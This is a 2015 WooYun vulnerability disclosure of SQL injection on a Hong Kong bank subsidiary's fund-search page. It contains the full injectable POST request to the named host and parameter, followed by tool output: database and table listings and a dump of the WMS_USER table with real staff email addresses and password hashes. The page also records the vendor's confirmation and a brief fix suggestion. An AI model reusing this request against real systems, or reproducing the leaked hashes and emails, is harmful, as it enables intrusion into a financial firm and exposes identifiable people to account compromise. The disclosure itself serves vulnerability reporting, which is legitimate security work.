当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0152426

漏洞标题:香港第一銀行某站SQL注射洩露大量信息

相关厂商:第一銀行

漏洞作者: JulyTornado

提交时间:2015-11-06 20:06

修复时间:2015-12-24 13:08

公开时间:2015-12-24 13:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-06: 细节已通知厂商并且等待厂商处理中
2015-11-09: 厂商已经确认,细节仅向厂商公开
2015-11-19: 细节向核心白帽子及相关领域专家公开
2015-11-29: 细节向普通白帽子公开
2015-12-09: 细节向实习白帽子公开
2015-12-24: 细节向公众公开

简要描述:

香港第一銀行旗下第一金和昇證券有限公司某站存在SQL注射,洩露大量信息

详细说明:

香港第一銀行旗下第一金和昇證券有限公司
首頁 > 每日報價 > 基金報價 處,參數fdName存在SQL注射,數據庫為Oracle:

POST /wfc-fws/wfc/wfcSearchFund.jsp HTTP/1.1
Host: fc09.etwealth.com
Content-Length: 144
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://fc09.etwealth.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36 CoolNovo/2.0.9.20
Content-Type: application/x-www-form-urlencoded
Referer: http://fc09.etwealth.com/wfc-fws/wfc/wfcSearchFund.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=AB05C44B920F08FA371DD8F5141716C2
fdName=xzcx&fdHseId=&location=&childLoc=&assetType=&sector=&searchFlag=Y&sortProperty=&sort=&page=&locale=zh_TW


1.png


2.png


工具驗證結果:

3.png

漏洞证明:

available databases [20]:
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] MNCIS_FC05_DBO
[*] MNCIS_FC06_DBO
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WK_TEST
[*] WKSYS
[*] WMS_FC05_DBO
[*] WMS_FC06_DBO
[*] WMS_FC08_DBO
[*] XDB
Database: WMS_FC05_DBO
+--------------------------------+---------+
| Table | Entries |
+--------------------------------+---------+
| WMS_FD_ACCESS_LOG | 1482401 |
| WMS_NEWS_DTL | 788800 |
| WMS_FD_SHEET | 721156 |
| WMS_FD_ACCESS_STAT_MVIEW | 484999 |
| WMS_NEWS_CAT | 307286 |
| WMS_FD_ALLOC | 247917 |
| WMS_FD_SHEET_LATEST_MVIEW | 98934 |
| WMS_NEWS_COMMENT | 64810 |
| WMS_FD_DIVIDEND | 56121 |
| WMS_FD_SHEET_20061204 | 50738 |
| WMS_NEWS_STOCK | 45493 |
| WMS_FUND_STATUS_APP | 37572 |
| WMS_FD_BENCHMARK | 36756 |
| WMS_INSTR_STATUS_APP | 32703 |
| WMS_INSTR_STATUS_APP_150604 | 32353 |
| WMS_INSTR_STATUS_APP_150603 | 32348 |
| WMS_INSTR_STATUS_APP_1506032 | 32348 |
| WMS_EQUITY_DESC | 30363 |
| WMS_INSTR_STATUS_APP_130724 | 29718 |
| WMS_INSTR_STATUS_APP_20110704 | 26008 |
| WMS_INSTR_STATUS_APP_X | 25543 |
| WMS_FD_PERFORM | 22036 |
| WMS_INSTR_STATUS_APP_20081223 | 21837 |
| WMS_FD_DESC | 20598 |
| WMS_FD_SUPPORT | 20598 |
| WMS_MPF_ALLOC_DESC | 19014 |
| SCB_DATAFEED_VIEW | 15660 |
| WMS_EQUITY | 10121 |
| WMS_FD_NEWS_CAT | 9262 |
| WMS_MST_FD_MGR_DESC | 9018 |
| WMS_FD_MGR_ASSOC | 8605 |
| WMS_INSTR_STATUS | 8506 |
| WMS_FUND | 6866 |
| WMS_FD_PRICE | 6712 |
| WMS_FD_PERFORM_CALC | 6598 |
| WMS_STG_FD_PERFORM_CALC | 6598 |
| WMS_FUND_X | 5430 |
| AUDIT_HOUSEKEEP | 5412 |
| WMS_FD_RATING | 5378 |
| WMS_SAV_PLAN_FUND_ASSOC | 5255 |
| WMS_MPF_ALLOCATION | 3978 |
| WMS_MST_HOLIDAY_DESC | 3738 |
| WMS_MFD_PERFORM | 3298 |
| WMS_MST_FD_MGR | 3006 |
| WMS_MFD_DESC | 2790 |
| WMS_FD_HSE_AWARD | 2475 |
| WMS_MFD_SHEET | 2076 |
| WMS_MPF_DETAIL_DESC | 1767 |
| WMS_MPF_DESC | 1734 |
| WMS_MPF_STAR_RANKING | 1484 |
| WMS_MST_HOLIDAY | 1246 |
| WMS_MIRROR_FUND | 930 |
| WMS_MFD_PRICE | 921 |
| WMS_MPF_NEWS_CAT | 891 |
| WMS_MST_INDEX_STOCK | 888 |
| WMS_CALC_PORT_DTL | 887 |
| WMS_MST_INDEX_DESC | 827 |
| WMS_MST_CIS_COUNTRY_DESC | 724 |
| WMS_MST_COUNTRY_DESC | 724 |
| WMS_CUST_RISK_ANS | 722 |
| WMS_SEARCH_DIRECT_FUND | 600 |
| WMS_MPF_FAMILY | 553 |
| WMS_MPF_PRICE | 548 |
| WMS_MPF | 520 |
| WMS_MPF_DETAIL | 520 |
| WMS_CALC_PORT_ASSET | 489 |
| WMS_MST_CIS_CURRENCY_DESC | 480 |
| WMS_MST_CURRENCY_DESC | 471 |
| WMS_MST_FD_HSE_DESC | 453 |
| WMS_MST_CITY_DESC | 447 |
| BAK_EDU | 427 |
| WMS_SIMP_PORT_HOLD | 377 |
| WMS_MST_EDU_DESC | 351 |
| WMS_CALC | 345 |
| WMS_SEARCH_BASE_FUND | 345 |
| WMS_MST_FD_CAT_BCHMRK | 336 |
| WMS_BACKTEST_PORT_FD | 319 |
| WMS_CUST_RISK_ANS_RPT | 309 |
| WMS_ELNELI_PRICE | 283 |
| WMS_MST_EPRC_DIST_DESC | 282 |
| WMS_MST_INDEX | 281 |
| WMS_ROLE_ACCESS | 247 |
| WMS_MST_CIS_COUNTRY | 242 |
| WMS_MST_COUNTRY | 242 |
| WMS_CUST_RISK | 234 |
| WMS_CALC_RTN_PROJ_DTL | 218 |
| WMS_FD_HSE | 212 |
| WMS_CUST_REL | 201 |
| WMS_FD_ACCESS_LOG_20100331 | 200 |
| WMS_MST_NEWS_CAT_DESC | 183 |
| WMS_MST_FD_CAT_DESC | 177 |
| WMS_TEAM_RELATION | 166 |
| WMS_CALC_PORT | 164 |
| WMS_MST_CIS_CURRENCY | 160 |
| WMS_MST_CURRENCY | 157 |
| WMS_MST_PROD_PDF_SECTION | 156 |
| WMS_MST_FD_HSE | 151 |
| WMS_MST_CITY | 149 |
| WMS_NEWS_TOPIC | 140 |
| WMS_ELNELI_DESC | 132 |
| WMS_SAVINGS_PLAN_DESC | 132 |
| WMS_USER | 129 |
| WMS_USER_ROLE | 129 |
| WMS_MPF_PLAN_DESC | 125 |
| WMS_FD_INVEST | 123 |
| WMS_MST_EDU | 117 |
| WMS_BACKTEST_PORT | 116 |
| WMS_BD_DESC | 114 |
| WMS_MST_BD_RATING | 114 |
| WMS_MPF_LOCATION_DESC | 111 |
| WMS_MST_FD_LOC_DESC | 111 |
| WMS_MST_RISK_ANS_DESC | 111 |
| WMS_STG_RISK_ANS_DESC | 111 |
| WMS_CALC_INST_EARNING | 109 |
| WMS_ILP_FD | 106 |
| WMS_MST_FOREX | 100 |
| WMS_SIMP_PORT | 99 |
| WMS_MST_EPRC_DIST | 94 |
| WMS_BD_SHEET | 93 |
| WMS_SYS_PARAM | 85 |
| WMS_MST_PRODUCT_DESC | 84 |
| WMS_CUST_STATEMENT | 82 |
| WMS_MST_CAMPAIGN_RESP_DESC | 81 |
| WMS_CUST_RISK_RPT | 77 |
| WMS_FD_BASKET | 76 |
| WMS_MPF_CAT_DESC | 72 |
| WMS_MPF_PROVIDER_DESC | 65 |
| WMS_MPF_LOCATION_LKUP | 61 |
| WMS_MST_FD_LOC_LKUP | 61 |
| WMS_MST_NEWS_CAT | 61 |
| WMS_SAV_PLAN_SHEET | 60 |
| WMS_BD_MERCHANT | 59 |
| WMS_MST_FD_CAT | 59 |
| WMS_MST_RISK_LEVEL_DESC | 57 |
| WMS_MST_EDU_GEN_DESC | 54 |
| WMS_MPF_BENCHMARK | 51 |
| WMS_CALC_REG_SAVING | 49 |
| WMS_MST_INSUR_ABEN_DESC | 48 |
| WMS_STG_PROD_INSUR_BAND | 46 |
| WMS_ELNELI | 44 |
| WMS_SAVINGS_PLAN | 44 |
| WMS_INDEX | 43 |
| WMS_MST_DOMICILE_DESC | 42 |
| WMS_MST_FD_SECTOR_DESC | 42 |
| WMS_MPF_SECTOR_DESC | 39 |
| WMS_BOND | 38 |
| WMS_MST_CD_RATING | 38 |
| WMS_MST_ISEARCH_SRC | 38 |
| WMS_MPF_LOCATION | 37 |
| WMS_MPF_PLAN | 37 |
| WMS_MST_FD_LOC | 37 |
| WMS_MST_RISK_ANS | 37 |
| WMS_STG_RISK_ANS | 37 |
| WMS_BANK_RATES | 36 |
| WMS_BD_RATING | 34 |
| WMS_MST_FD_RATING | 34 |
| WMS_MST_RISK_QUESTION | 33 |
| WMS_STG_RISK_QUESTION | 33 |
| WMS_MST_FD_SHEET_DESC | 30 |
| WMS_NEWS_BOOKMARK | 30 |
| WMS_MST_PRODUCT | 28 |
| WMS_MPF_SHEET_NAME_DESC | 27 |
| WMS_MST_CAMPAIGN_RESP | 27 |
| WMS_MST_INSTR_CURRENCY | 27 |
| WMS_MST_SAV_PLAN_PROVIDER_DESC | 27 |
| WMS_BD_NEWS_CAT | 26 |
| WMS_GFD_BASKET | 25 |
| WMS_MST_METHOD | 25 |
| WMS_MST_SERVICE | 25 |
| WMS_BD_ISSUER_DESC | 24 |
| WMS_MPF_ASSET_TYPE_DESC | 24 |
| WMS_MPF_CATEGORY | 24 |
| WMS_MST_FUTURE_NEED_DESC | 24 |
| WMS_MST_PROD_TYPE_DESC | 24 |
| WMS_CIS_SYNC_CONTROL | 21 |
| WMS_MST_FD_ASSET_DESC | 21 |
| WMS_MST_ISEARCH_CRIT | 21 |
| WMS_MST_NEED_ASSET_DESC | 21 |
| WMS_MST_ROLE_DESC | 21 |
| WMS_MPF_PROVIDER | 20 |
| WMS_MST_RISK_LEVEL | 19 |
| WMS_CALC_RTN_PROJ | 18 |
| WMS_MST_CD_FREQ_DESC | 18 |
| WMS_MST_EDU_GEN | 18 |
| WMS_MST_EXPENSE_TYPE_DESC | 18 |
| WMS_MST_FD_DIV_POLICY_DESC | 18 |
| WMS_MST_INSURANCE_TYPE_DESC | 18 |
| WMS_MST_LIABILITY_TYPE_DESC | 18 |
| WMS_MST_RISK_ALLOC | 18 |
| WMS_MST_RISK_DESC | 18 |
| WMS_MST_SYMPTOM_DESC | 18 |
| WMS_MST_INSUR_ABEN | 16 |
| WMS_CUST_SCHEDULE_ALERT | 15 |
| WMS_MPF_STAR_RANK | 15 |
| WMS_MST_DISPLAY_GRP_DESC | 15 |
| WMS_MST_PROD_NEED_DESC | 15 |
| WMS_MST_QUALI_DESC | 15 |
| WMS_USER_130822 | 15 |
| WMS_USER_ROLE_130822 | 15 |
| WMS_CD_BASKET | 14 |
| WMS_MST_DOMICILE | 14 |
| WMS_MST_FD_SECTOR | 14 |
| WMS_TEAM_RELATION_130822 | 14 |
| WMS_MPF_SECTOR | 13 |
| WMS_MST_ASSET_DESC | 12 |
| WMS_MST_COMPLIANCE_DESC | 12 |
| WMS_MST_EPRC_REG_DESC | 12 |
| WMS_MST_EXPENSE_SRC_DESC | 12 |
| WMS_MST_INCOME_SRC_DESC | 12 |
| WMS_MST_INSUR_DBEN_DESC | 12 |
| WMS_MST_INSUR_PROD_TYPE_DESC | 12 |
| WMS_MST_INSURANCE_BEN_DESC | 12 |
| WMS_MST_PROD_RETURN_DESC | 12 |
| WMS_MPF_RATE | 10 |
| WMS_MST_FD_SHEET | 10 |
| WMS_MST_ISEARCH_VAL | 10 |
| WMS_FOREX_BASIC | 9 |
| WMS_MPF_SHEET_NAME | 9 |
| WMS_MST_INCOME_TYPE_DESC | 9 |
| WMS_MST_INSUR_CONVERT_DESC | 9 |
| WMS_MST_INV_ASSET_DESC | 9 |
| WMS_MST_ISEARCH_OP | 9 |
| WMS_MST_SAV_PLAN_PROVIDER | 9 |
| WMS_BD_ISSUER | 8 |
| WMS_MPF_ASSET_TYPE | 8 |
| WMS_MST_FUTURE_NEED | 8 |
| WMS_MST_PROD_TYPE | 8 |
| WMS_MST_FD_ASSET | 7 |
| WMS_MST_NEED_ASSET | 7 |
| WMS_MST_ROLE | 7 |
| WMS_MST_SYMPTOM | 7 |
| WMS_MST_ASSET_CLASS_DESC | 6 |
| WMS_MST_CD_FREQ | 6 |
| WMS_MST_DISPLAY_SUBGRP_DESC | 6 |
| WMS_MST_EXPENSE_TYPE | 6 |
| WMS_MST_FD_DIV_POLICY | 6 |
| WMS_MST_FD_INV_ATTR_DESC | 6 |
| WMS_MST_GROUP | 6 |
| WMS_MST_INSURANCE_TYPE | 6 |
| WMS_MST_LIABILITY_CLASS_DESC | 6 |
| WMS_MST_LIABILITY_TYPE | 6 |
| WMS_MST_PROD_NATURE_DESC | 6 |
| WMS_MST_RISK | 6 |
| WMS_STG_PROD_INSUR_FACTOR | 6 |
| WMS_CALC_INSUR | 5 |
| WMS_GROUP_RELATION | 5 |
| WMS_MST_DISPLAY_GRP | 5 |
| WMS_MST_FD_RISK | 5 |
| WMS_MST_PROD_NEED | 5 |
| WMS_MST_QUALI | 5 |
| WMS_SYS_PARAM_APP | 5 |
| WMS_TEAM_USER_QUALI | 5 |
| WMS_MPF_ALLOC_CODE_DESC | 4 |
| WMS_MST_ASSET | 4 |
| WMS_MST_COMPLIANCE | 4 |
| WMS_MST_EPRC_REG | 4 |
| WMS_MST_EXPENSE_SRC | 4 |
| WMS_MST_INCOME_SRC | 4 |
| WMS_MST_INSUR_DBEN | 4 |
| WMS_MST_INSUR_PROD_TYPE | 4 |
| WMS_MST_INSURANCE_BEN | 4 |
| WMS_MST_PROD_RETURN | 4 |
| WMS_MST_INCOME_TYPE | 3 |
| WMS_MST_INSUR_CONVERT | 3 |
| WMS_MST_INV_ASSET | 3 |
| WMS_MST_LOCALE | 3 |
| WMS_STG_PROD_TYPE_DESC | 3 |
| WMS_CALC_INSUR_ILP_BASKET | 2 |
| WMS_CIS_DOMAIN_PRIORITY | 2 |
| WMS_FD_INV_ATTR | 2 |
| WMS_MST_ASSET_CLASS | 2 |
| WMS_MST_DISPLAY_SUBGRP | 2 |
| WMS_MST_FD_INV_ATTR | 2 |
| WMS_MST_LIABILITY_CLASS | 2 |
| WMS_MST_PROD_NATURE | 2 |
| WMS_STG_PROD_INSUR_FACE | 1 |
| WMS_STG_PROD_INSUR_RATE | 1 |
| WMS_STG_PROD_TYPE | 1 |
| WMS_STG_PROD_TYPE_QUALI | 1 |
+--------------------------------+---------+
[06:01:26] [WARNING] reflective value(s) found and filtering out
Database: WMS_FC05_DBO
Table: WMS_USER
[20 columns]
+---------------------+----------+
| Column | Type |
+---------------------+----------+
| BACKUP_USER_ID | VARCHAR2 |
| CN_NAME | VARCHAR2 |
| CREATED_BY | VARCHAR2 |
| CREATION_TIME | DATE |
| EMAIL | VARCHAR2 |
| EN_FIRST_NAME | VARCHAR2 |
| EN_LAST_NAME | VARCHAR2 |
| GROUP_ID | VARCHAR2 |
| LAST_ACCESS_TIME | DATE |
| LAST_LOGIN_TIME | DATE |
| LOGIN_FAIL_COUNT | NUMBER |
| LOGIN_SUCCESS_COUNT | NUMBER |
| PARENT_ID | VARCHAR2 |
| PASSWORD | VARCHAR2 |
| PHONE | VARCHAR2 |
| SERVICE_DATE | DATE |
| SESSION_ID | VARCHAR2 |
| SESSION_LOGIN_TIME | DATE |
| STATUS | VARCHAR2 |
| USER_ID | VARCHAR2 |
+---------------------+----------+
+-----------+----------+-----------+------------+----------------+-------+--------------------------+--------+---------+----------------------------------+------------+--------------+--------------+---------------+------------------+-----------------+------------------+------------------+--------------------+---------------------+
| USER_ID | GROUP_ID | PARENT_ID | SESSION_ID | BACKUP_USER_ID | PHONE | EMAIL | STATUS | CN_NAME | PASSWORD | CREATED_BY | EN_LAST_NAME | SERVICE_DATE | CREATION_TIME | EN_FIRST_NAME | LAST_LOGIN_TIME | LAST_ACCESS_TIME | LOGIN_FAIL_COUNT | SESSION_LOGIN_TIME | LOGIN_SUCCESS_COUNT |
+-----------+----------+-----------+------------+----------------+-------+--------------------------+--------+---------+----------------------------------+------------+--------------+--------------+---------------+------------------+-----------------+------------------+------------------+--------------------+---------------------+
| bocomfc | bocom | bocombm01 | NULL | NULL | NULL | naomilee@hket.com | N | NULL | 1ba2b47ab458cd03d54c4f1ce6397921 | etwsa01 | BOCOM FC | 23-AUG-13 | 23-AUG-13 | NULL | 05-NOV-15 | NULL | 0 | 06-NOV-15 | 700 |
| 7392 | bocom | bocombm01 | NULL | NULL | NULL | angusso@hket.com | N | NULL | 4823e0440e39a513ca817779e47668aa | etwsa01 | BOCOM FC | 16-JUN-14 | 16-JUN-14 | 7392 | 03-NOV-15 | NULL | 0 | 06-NOV-15 | 615 |
| 7578 | bocom | bocombm01 | NULL | NULL | NULL | angusso@hket.com | N | NULL | b2a2d9d0f92d9698e9fa33f78a6e79f7 | etwsa | BOCOM FC | 13-NOV-14 | 13-NOV-14 | 7578 | 06-NOV-15 | NULL | 0 | 06-NOV-15 | 358 |
| 6512 | bocom | bocombm01 | NULL | NULL | NULL | angusso@hket.com | N | NULL | def5b67ae1f2d0aad53ad41c61a695a3 | etwsa | BOCOM FC | 22-MAY-15 | 22-MAY-15 | 6512 | 06-NOV-15 | NULL | 0 | 06-NOV-15 | 390 |
| 7838 | bocom | bocombm01 | NULL | NULL | NULL | jonathankow@hket.com | N | NULL | 888deacdeb57ea39de887ce26af36da9 | etwsa01 | BOCOM FC | 16-JUN-15 | 16-JUN-15 | 7838 | 02-NOV-15 | NULL | 0 | 04-NOV-15 | 113 |
| 7301 | bocom | bocombm01 | NULL | NULL | NULL | angusso@hket.com | R | NULL | c4114ca2b2499ee27d94077bd24d3ec2 | etwsa01 | BOCOM FC | 28-JAN-14 | 28-JAN-14 | 7301 | 09-MAY-14 | NULL | 0 | 12-MAY-14 | 57 |
| 7255 | bocom | bocombm01 | NULL | NULL | NULL | angusso@hket.com | N | NULL | d211d1bf047814b75ad55b41097f6a77 | etwsa01 | BOCOM FC | 28-JAN-14 | 28-JAN-14 | 7255 | 03-NOV-15 | NULL | 0 | 05-NOV-15 | 220 |
| 7459 | bocom | bocombm01 | NULL | NULL | NULL | angusso@hket.com | N | NULL | 7d93c7bfae65257b8fc5e446e50a30e1 | etwsa | BOCOM FC | 14-AUG-14 | 14-AUG-14 | 7459 | 31-AUG-15 | NULL | 0 | 31-AUG-15 | 279 |
| 7599 | bocom | bocombm01 | NULL | NULL | NULL | angusso@hket.com | N | NULL | 98bef0afb61dabf4f43dc583ce2c64ae | etwsa | BOCOM FC | 19-NOV-14 | 19-NOV-14 | 7599 | 05-NOV-15 | NULL | 0 | 05-NOV-15 | 252 |
| FC88 | etw | NULL | NULL | NULL | NULL | NULL | N | FC 88 | c21774cb9315d2b5a4dba417b91dfa13 | fcsa01 | FC 88 | 01-JUL-06 | 20-JUL-06 | NULL | NULL | NULL | 0 | NULL | 0 |
| etwsa01 | etw | NULL | NULL | NULL | NULL | trinalao@hket.com | N | NULL | 1ba2b47ab458cd03d54c4f1ce6397921 | fcsa01 | ET Wealth | 25-JUL-06 | 25-JUL-06 | SA 01 | 22-OCT-15 | NULL | 0 | 29-OCT-15 | 178 |
| fcsa | etw | NULL | NULL | NULL | NULL | virginialee@etwealth.com | R | NULL | bd8eb1e60dc1f257ec9c38897ed45748 | fcsa01 | ETW SA | 02-AUG-06 | 02-AUG-06 | (CS) | 01-JUN-10 | NULL | 3 | 24-AUG-10 | 192 |
| etwfc01 | etw | FC88 | NULL | NULL | NULL | NULL | N | NULL | 1ba2b47ab458cd03d54c4f1ce6397921 | fcsa | ET Wealth | 02-AUG-06 | 02-AUG-06 | FC 01 | 31-MAY-11 | NULL | 0 | 06-SEP-13 | 47 |
| etwfc02 | etw | FC88 | NULL | NULL | NULL | NULL | N | NULL | 36774102f14d5f9d8d0fe3e9c5d3b7f3 | fcsa | ET Wealth | 07-AUG-06 | 07-AUG-06 | FC 02 | NULL | NULL | 0 | 07-AUG-06 | 1 |
| fwsps01 | fws | NULL | NULL | NULL | NULL | trinalao@hket.com | N | NULL | 47d1e38f0b8ed77db4eb2c828f1a2ccd | etwsa01 | fwsps01 | 22-DEC-08 | 22-DEC-08 | NULL | 15-JUN-09 | NULL | 1 | 08-JUL-11 | 9 |
| fwsps | fws | NULL | NULL | NULL | NULL | trinalao@hket.com | N | NULL | 1ba2b47ab458cd03d54c4f1ce6397921 | etwsa01 | FWS PS | 22-DEC-08 | 22-DEC-08 | (Technical Team) | 16-JUN-14 | NULL | 0 | 21-JAN-15 | 28 |
| bocombm01 | bocom | NULL | NULL | NULL | NULL | NULL | N | NULL | 4db3a56a8245ed5c8d0f328339ec95bf | etwsa01 | BOCOM | 08-JUL-10 | 08-JUL-10 | BM 01 | NULL | NULL | 1 | NULL | 0 |
| bocomps01 | bocom | NULL | NULL | NULL | NULL | trinalao@hket.com | N | NULL | 7ae321044e20a01d10a4764ffa4a1c96 | etwsa01 | BOCOM | 12-JUL-10 | 12-JUL-10 | PS 01 | 03-NOV-15 | NULL | 0 | 03-NOV-15 | 527 |
| bocomps | bocom | NULL | NULL | NULL | NULL | trinalao@hket.com | N | NULL | 1ba2b47ab458cd03d54c4f1ce6397921 | etwsa01 | BOCOM PS | 12-JUL-10 | 12-JUL-10 | (Technical Team) | 31-JUL-15 | NULL | 0 | 03-AUG-15 | 125 |
| bocomps02 | bocom | NULL | NULL | NULL | NULL | trinalao@hket.com | N | NULL | c054b6f705b8ccf83ed2e58849aa58b9 | etwsa01 | BOCOM | 20-JUL-10 | 20-JUL-10 | PS 02 | 28-AUG-13 | NULL | 0 | 06-SEP-13 | 9 |
+-----------+----------+-----------+------------+----------------+-------+--------------------------+--------+---------+----------------------------------+------------+--------------+--------------+---------------+------------------+---------------

修复方案:

過濾危險字符或使用預編譯語句處理查詢,不深入了

版权声明:转载请注明来源 JulyTornado@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-09 13:08

厂商回复:

接到漏洞通報後已開始進行修補

最新状态:

暂无


漏洞评价:

评论